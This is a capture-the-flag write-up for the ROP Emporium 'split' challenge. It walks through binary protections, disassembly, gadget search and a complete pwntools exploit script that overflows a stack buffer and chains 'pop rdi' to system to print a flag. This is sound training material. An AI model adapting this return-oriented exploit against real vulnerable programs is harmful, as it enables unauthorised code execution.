split
Exploration
1
2
3
4
5
6
7
8
$ checksec ./split
[*] '/home/ctf/ctf/ropemporium/split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
No canary means buffer overflow is likely the vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gdb ./split
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunction
0x0000000000400760 __libc_csu_init
0x00000000004007d0 __libc_csu_fini
0x00000000004007d4 _fini
Here, we can see pwnme
again and now usefulFunction
.
Finding the vulnerability and offset
Once again, the offset is 0x28 (40), as seen in the read call.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400810
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x40083c
0x0000000000400715 <+45>: mov eax,0x0
0x000000000040071a <+50>: call 0x400570 <printf@plt>
0x000000000040071f <+55>: lea rax,[rbp-0x20]
0x0000000000400723 <+59>: mov edx,0x60
0x0000000000400728 <+64>: mov rsi,rax
0x000000000040072b <+67>: mov edi,0x0
0x0000000000400730 <+72>: call 0x400590 <read@plt>
0x0000000000400735 <+77>: mov edi,0x40083f
0x000000000040073a <+82>: call 0x400550 <puts@plt>
0x000000000040073f <+87>: nop
0x0000000000400740 <+88>: leave
0x0000000000400741 <+89>: ret
End of assembler dump.
An intermediate step (usefulFunction
)
1
2
3
4
5
6
7
8
9
10
11
12
(gdb) disassemble usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
(gdb) x/s 0x40084a
0x40084a: "/bin/ls"
This function, although not useful for the final payload, can be used to check whether the offset is correct.
Address of payload string
We know that system
is at 0x400560
, but we need the address of the string "cat flag.txt"
.
We can achieve this with gdb
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) info variables
All defined variables:
Non-debugging symbols:
0x00000000004007e0 _IO_stdin_used
0x0000000000400854 __GNU_EH_FRAME_HDR
0x00000000004009dc __FRAME_END__
0x0000000000600e10 __frame_dummy_init_array_entry
0x0000000000600e10 __init_array_start
0x0000000000600e18 __do_global_dtors_aux_fini_array_entry
0x0000000000600e18 __init_array_end
0x0000000000600e20 _DYNAMIC
0x0000000000601000 _GLOBAL_OFFSET_TABLE_
0x0000000000601050 __data_start
0x0000000000601050 data_start
0x0000000000601058 __dso_handle
0x0000000000601060 usefulString
0x0000000000601072 __bss_start
0x0000000000601072 _edata
0x0000000000601078 __TMC_END__
0x0000000000601078 stdout
0x0000000000601078 stdout@@GLIBC_2.2.5
0x0000000000601080 completed
0x0000000000601088 _end
(gdb) x/s 0x601060
0x601060 <usefulString>: "/bin/cat flag.txt"
Technically, this part isn’t necessary, since pwntools
can find strings within the binary (shown in the payload).
Gadgets
Like the previous problem, it is likely that we’ll need a ret
gadget to get around movabs
. However we will also need a gadget to put the address of "/bin/cat flag.txt"
into RDI, where the first argument goes. These can be found using ropper
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ropper --file split --search ret[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret
[INFO] File: split
0x0000000000400542: ret 0x200a;
0x000000000040053e: ret;
$ ropper --file split --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: split
0x00000000004007c3: pop rdi; ret;
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
from pwn import *
exe = ELF("./split_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
# good luck pwning :)
offset = 0x28
ret = 0x40053e
rdi = 0x4007c3
payload = flat({
offset: [
ret,
rdi,
next(exe.search(b"/bin/cat flag.txt")),
exe.plt["system"]
]
})
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/split/split_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[/.......] Starting local process '/home/ctf/ctf/ropemporium/split/split_patched': pi[+] Starting local process '/home/ctf/ctf/ropemporium/split/split_patched': pid 76564
[*] Switching to interactive mode
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}